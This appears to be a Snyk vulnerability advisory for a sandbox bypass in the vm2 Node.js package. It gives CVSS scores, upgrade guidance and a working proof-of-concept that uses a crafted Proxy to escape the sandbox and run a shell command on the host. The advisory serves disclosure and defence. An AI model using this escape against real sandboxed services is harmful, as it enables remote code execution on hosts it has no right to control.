Sandbox Bypass Affecting vm2 package, versions <3.9.18


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    1.33% (87th percentile)

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  • Snyk ID SNYK-JS-VM2-5537100
  • published 16 May 2023
  • disclosed 15 May 2023
  • credit Takeshi Kaneko

How to fix?

Upgrade vm2 to version 3.9.18 or higher.

Overview

vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules.

Affected versions of this package are vulnerable to Sandbox Bypass by abusing an unexpected creation of a host object based on the maliciously crafted specification of Proxy. Exploiting this vulnerability allows an attacker to gain remote code execution rights on the host running the sandbox via the Function constructor.

PoC

const { VM } = require("vm2");
const vm = new VM();

const code = `
  const err = new Error();
  err.name = {
    toString: new Proxy(() => "", {
      apply(target, thiz, args) {
        const process = args.constructor.constructor("return process")();
        throw process.mainModule.require("child_process").execSync("echo hacked").toString();
      },
    }),
  };
  try {
    err.stack;
  } catch (stdout) {
    stdout;
  }
`;

console.log(vm.run(code)); // -> hacked

CVSS Scores

version 3.1
Expand this section

Snyk

9.8 critical
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

10 critical